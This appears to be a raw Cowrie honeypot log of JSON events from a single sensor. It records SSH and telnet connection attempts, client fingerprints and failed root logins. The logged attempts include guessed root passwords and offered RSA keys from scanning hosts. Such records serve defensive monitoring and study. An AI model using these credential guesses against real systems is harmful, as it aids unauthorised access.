{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40990,"dst_ip":"10.17.0.5","dst_port":23,"session":"98e8e7cbe855","protocol":"telnet","message":"New connection: 152.42.224.71:40990 (10.17.0.5:23) [session: 98e8e7cbe855]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:12:20.459073Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41004,"dst_ip":"10.17.0.5","dst_port":23,"session":"c740379c0f90","protocol":"telnet","message":"New connection: 152.42.224.71:41004 (10.17.0.5:23) [session: c740379c0f90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:12:22.340819Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":34024,"dst_ip":"159.203.135.109","dst_port":22,"session":"544102d954b4","protocol":"ssh","message":"New connection: 103.183.114.55:34024 (159.203.135.109:22) [session: 544102d954b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:12:31.581604Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:12:31.587442Z","src_ip":"103.183.114.55","session":"544102d954b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:12:31.819323Z","src_ip":"103.183.114.55","session":"544102d954b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"i","message":"login attempt [root/i] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:12:32.518186Z","src_ip":"103.183.114.55","session":"544102d954b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.163.206.178","src_port":51454,"dst_ip":"10.17.0.5","dst_port":22,"session":"eb32aa839ea0","protocol":"ssh","message":"New connection: 89.163.206.178:51454 (10.17.0.5:22) [session: eb32aa839ea0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:12:33.705949Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:12:33.712764Z","src_ip":"89.163.206.178","session":"eb32aa839ea0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:12:33.752266Z","src_ip":"103.183.114.55","session":"544102d954b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:12:33.804350Z","src_ip":"89.163.206.178","session":"eb32aa839ea0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a7:6a:1a:fd:06:e7:1a:62:a6:cb:93:97:60:c4:72:da","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAug3HeeJK8tgWe91JZYi3eKVUkkNLjDJ0EdXhwuskhxPxqg6frcXHLQP4nTraGppC8Ynm+KFt2+jgzoHprGUWD5UxHc6sKGekCJcl+s2wMLuk165CfSKSSxs73dplUNu4Tr3rCTudoV5de29P7EERSwXiZq3DKE15DKgdFVO4Sj4Gj9urFa9DIjUCsrYCRWST/8ig5dn0TO0NSsvFtfhuBuvCvtTsZ2EQGgLvjDhOp3IMMsl46JAtZhUc408L6ntzQD74VxZWLY+VIPggSrkcrKom+U02KdRF4+corFC44ybRpJd8SkCEFDCGTXXpU54DnSrL+DXkhLed0Z6ycKJ6RQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a7:6a:1a:fd:06:e7:1a:62:a6:cb:93:97:60:c4:72:da","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:12:34.240889Z","src_ip":"89.163.206.178","session":"eb32aa839ea0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a7:6a:1a:fd:06:e7:1a:62:a6:cb:93:97:60:c4:72:da","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAug3HeeJK8tgWe91JZYi3eKVUkkNLjDJ0EdXhwuskhxPxqg6frcXHLQP4nTraGppC8Ynm+KFt2+jgzoHprGUWD5UxHc6sKGekCJcl+s2wMLuk165CfSKSSxs73dplUNu4Tr3rCTudoV5de29P7EERSwXiZq3DKE15DKgdFVO4Sj4Gj9urFa9DIjUCsrYCRWST/8ig5dn0TO0NSsvFtfhuBuvCvtTsZ2EQGgLvjDhOp3IMMsl46JAtZhUc408L6ntzQD74VxZWLY+VIPggSrkcrKom+U02KdRF4+corFC44ybRpJd8SkCEFDCGTXXpU54DnSrL+DXkhLed0Z6ycKJ6RQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:12:34.245637Z","src_ip":"89.163.206.178","session":"eb32aa839ea0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"07:c3:91:6e:89:ab:23:da:e5:54:f3:62:a7:9d:89:83","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3OuhwjkrYKCsv91YKqp7tVcfYshmUQ7fQ/zksz14sH9Uq0Xay0ks+3qK2fYVfjZMwEolL18LN8Vomr34sy5GRQGafvqeJxeHzO9ATo9cE3G4RIqBVrsV0uVBIz4NRjAYoTm9DzdeSpBcLpwP0mI7hPnMHN6qgfinVGWoatwu0AJI0YjpjjmLWQgjYxwErhnpltMu7CXmA4fzec0rhaqfr0HTJsre2ZNwLUsdRr7ssRn35Gi/6lxeyNi/HN1qrJEPELnij280kCSFS6jpSp9diYRgA4JfYDEha4wYVXLxQM0IDvK1xnrnKhl74D9cJ0jWyzBW6SfQ9falYFbAO5LF5Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 07:c3:91:6e:89:ab:23:da:e5:54:f3:62:a7:9d:89:83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:12:34.338479Z","src_ip":"89.163.206.178","session":"eb32aa839ea0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"07:c3:91:6e:89:ab:23:da:e5:54:f3:62:a7:9d:89:83","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3OuhwjkrYKCsv91YKqp7tVcfYshmUQ7fQ/zksz14sH9Uq0Xay0ks+3qK2fYVfjZMwEolL18LN8Vomr34sy5GRQGafvqeJxeHzO9ATo9cE3G4RIqBVrsV0uVBIz4NRjAYoTm9DzdeSpBcLpwP0mI7hPnMHN6qgfinVGWoatwu0AJI0YjpjjmLWQgjYxwErhnpltMu7CXmA4fzec0rhaqfr0HTJsre2ZNwLUsdRr7ssRn35Gi/6lxeyNi/HN1qrJEPELnij280kCSFS6jpSp9diYRgA4JfYDEha4wYVXLxQM0IDvK1xnrnKhl74D9cJ0jWyzBW6SfQ9falYFbAO5LF5Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:12:34.342530Z","src_ip":"89.163.206.178","session":"eb32aa839ea0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5c:0a:85:4b:bd:30:8a:84:bc:e3:0b:4f:e9:7a:2e:93","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCJwgg4izecprpm1bTAtGwtv7+DInaRxrLAm5oOEhS0/XjYhNtQJrDsdLTpSEnkcZTFhGw45ohnVShBEz7dMGvS8ujkmT45PDU0/IiFvyqPm8u/Trpod+WvLzlfdjVme82zPFkiCrlc0mI3xDwV/vpw1eCpC4YhDTP48CtXNMu5qyEq7SV39rdquY8LYQKNph69XeovRaLp9jhsRag/heG1Rzt6USyLZCM7qsAxF0lmZ+Ju9d1Y0nywwW8vnDVUZx9VKv9+cyKZQsY/ETzlrDKzWPHVlL3cfTEdO0+gRzlOXY1aj6qVLe8nu9RWrKbF8URY/952AUugubjlTB7ANXDz","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5c:0a:85:4b:bd:30:8a:84:bc:e3:0b:4f:e9:7a:2e:93","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:12:34.434993Z","src_ip":"89.163.206.178","session":"eb32aa839ea0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5c:0a:85:4b:bd:30:8a:84:bc:e3:0b:4f:e9:7a:2e:93","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCJwgg4izecprpm1bTAtGwtv7+DInaRxrLAm5oOEhS0/XjYhNtQJrDsdLTpSEnkcZTFhGw45ohnVShBEz7dMGvS8ujkmT45PDU0/IiFvyqPm8u/Trpod+WvLzlfdjVme82zPFkiCrlc0mI3xDwV/vpw1eCpC4YhDTP48CtXNMu5qyEq7SV39rdquY8LYQKNph69XeovRaLp9jhsRag/heG1Rzt6USyLZCM7qsAxF0lmZ+Ju9d1Y0nywwW8vnDVUZx9VKv9+cyKZQsY/ETzlrDKzWPHVlL3cfTEdO0+gRzlOXY1aj6qVLe8nu9RWrKbF8URY/952AUugubjlTB7ANXDz","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:12:34.438679Z","src_ip":"89.163.206.178","session":"eb32aa839ea0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f6:94:25:a4:36:b5:27:28:9f:05:94:56:ab:6c:d5:f5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA6vggvX9FwvlFTmT7PQMmjTm8hTHVmU0g2htq2vuKMPsxSlRbD1nqk/jBqkLWIYg1N1rWcVcbv14LYvgzo3eihFFXW5U9NpyHnCCF1gOtrkwOm+SJPj+n2Cic97xoJ0DTdMJi4tvUz4h+V8zYDf1pLn4d2DFPhWJ0LVcvLTFWWwCk8RcGDvoUHytLDe0MlegDy85PoGCt0NvsIgkIdQj5LMXWnA8AzkE5O88LYGfZbCKGWmld8JpK0z8ksdjYygcu7DdYyOjGNBfUwKShQSUQdrSnSSUYaXQ0np2+uo4fRuaPiKneKYbQV141Fn3EEhGVpiIOagQF7NKfzY7ZLAAiiQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f6:94:25:a4:36:b5:27:28:9f:05:94:56:ab:6c:d5:f5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:12:34.532734Z","src_ip":"89.163.206.178","session":"eb32aa839ea0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f6:94:25:a4:36:b5:27:28:9f:05:94:56:ab:6c:d5:f5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA6vggvX9FwvlFTmT7PQMmjTm8hTHVmU0g2htq2vuKMPsxSlRbD1nqk/jBqkLWIYg1N1rWcVcbv14LYvgzo3eihFFXW5U9NpyHnCCF1gOtrkwOm+SJPj+n2Cic97xoJ0DTdMJi4tvUz4h+V8zYDf1pLn4d2DFPhWJ0LVcvLTFWWwCk8RcGDvoUHytLDe0MlegDy85PoGCt0NvsIgkIdQj5LMXWnA8AzkE5O88LYGfZbCKGWmld8JpK0z8ksdjYygcu7DdYyOjGNBfUwKShQSUQdrSnSSUYaXQ0np2+uo4fRuaPiKneKYbQV141Fn3EEhGVpiIOagQF7NKfzY7ZLAAiiQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:12:34.536667Z","src_ip":"89.163.206.178","session":"eb32aa839ea0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e3:e1:15:88:8f:7a:f9:99:28:c8:65:74:4f:24:23:f4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQmp1ugchelfV8/IUXLfBrhKCWzW8lDdLTsHWWQJmrZSFoJ2mWb+62Cmpqcsdf8YC0N3MC8so902MEPvN3WV8vxaKn1tLYlolC5fhYyC5tceHqQg5RpaA0yqadWv63yaXJC7dQ2hEmF3pADd6riwR3p2Wi1KHiwlaPwBT817nsUpw7a/aWYSUciupwS0zjK1lZ39DeDzr3zF1LRO5CGqXFgwrphQWizoDqGiLPdazv3KTGaxLyrNJfLNMBf7BwK5Z8w/qPBbr81RT2Hdnu5bcNu2LoA+UjtxLTiNE49c0LB616M3Hm0BvQMr45Z5l9pR/E6TPKVkNQgS8YqRcha8tb","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e3:e1:15:88:8f:7a:f9:99:28:c8:65:74:4f:24:23:f4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:12:34.628585Z","src_ip":"89.163.206.178","session":"eb32aa839ea0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e3:e1:15:88:8f:7a:f9:99:28:c8:65:74:4f:24:23:f4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQmp1ugchelfV8/IUXLfBrhKCWzW8lDdLTsHWWQJmrZSFoJ2mWb+62Cmpqcsdf8YC0N3MC8so902MEPvN3WV8vxaKn1tLYlolC5fhYyC5tceHqQg5RpaA0yqadWv63yaXJC7dQ2hEmF3pADd6riwR3p2Wi1KHiwlaPwBT817nsUpw7a/aWYSUciupwS0zjK1lZ39DeDzr3zF1LRO5CGqXFgwrphQWizoDqGiLPdazv3KTGaxLyrNJfLNMBf7BwK5Z8w/qPBbr81RT2Hdnu5bcNu2LoA+UjtxLTiNE49c0LB616M3Hm0BvQMr45Z5l9pR/E6TPKVkNQgS8YqRcha8tb","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:12:34.633349Z","src_ip":"89.163.206.178","session":"eb32aa839ea0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:12:34.727188Z","src_ip":"89.163.206.178","session":"eb32aa839ea0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":45802,"dst_ip":"10.17.0.5","dst_port":22,"session":"8888b90e24a3","protocol":"ssh","message":"New connection: 103.122.221.179:45802 (10.17.0.5:22) [session: 8888b90e24a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:12:40.847387Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:12:40.852800Z","src_ip":"103.122.221.179","session":"8888b90e24a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:12:41.108323Z","src_ip":"103.122.221.179","session":"8888b90e24a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.285789251327515,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:12:41.116314Z","src_ip":"152.42.224.71","session":"19e8b3328cec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58944,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b9aa9a9e91d","protocol":"telnet","message":"New connection: 152.42.224.71:58944 (10.17.0.5:23) [session: 2b9aa9a9e91d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:12:41.380257Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"gbgbcmrf","message":"login attempt [root/gbgbcmrf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:12:41.874315Z","src_ip":"103.122.221.179","session":"8888b90e24a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:12:43.132445Z","src_ip":"103.122.221.179","session":"8888b90e24a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":92.71586108207703,"message":"Connection lost after 92 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:12:47.366130Z","src_ip":"152.42.224.71","session":"84b2b9d7a458","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.02894425392151,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:12:53.487882Z","src_ip":"152.42.224.71","session":"98e8e7cbe855","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":69.73713207244873,"message":"Connection lost after 69 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:13:04.298826Z","src_ip":"152.42.224.71","session":"9b151a49fb7f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":55972,"dst_ip":"159.203.135.109","dst_port":22,"session":"eb80443eb9ff","protocol":"ssh","message":"New connection: 89.223.69.22:55972 (159.203.135.109:22) [session: eb80443eb9ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:13:15.276910Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:13:15.281932Z","src_ip":"89.223.69.22","session":"eb80443eb9ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:13:15.396198Z","src_ip":"89.223.69.22","session":"eb80443eb9ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789qwe","message":"login attempt [root/123456789qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:13:15.739450Z","src_ip":"89.223.69.22","session":"eb80443eb9ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:13:16.854715Z","src_ip":"89.223.69.22","session":"eb80443eb9ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49092,"dst_ip":"10.17.0.5","dst_port":23,"session":"897eff509043","protocol":"telnet","message":"New connection: 152.42.224.71:49092 (10.17.0.5:23) [session: 897eff509043]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:13:19.268210Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":35532,"dst_ip":"10.17.0.5","dst_port":22,"session":"49cec07087e9","protocol":"ssh","message":"New connection: 194.59.206.2:35532 (10.17.0.5:22) [session: 49cec07087e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:13:24.642799Z"}
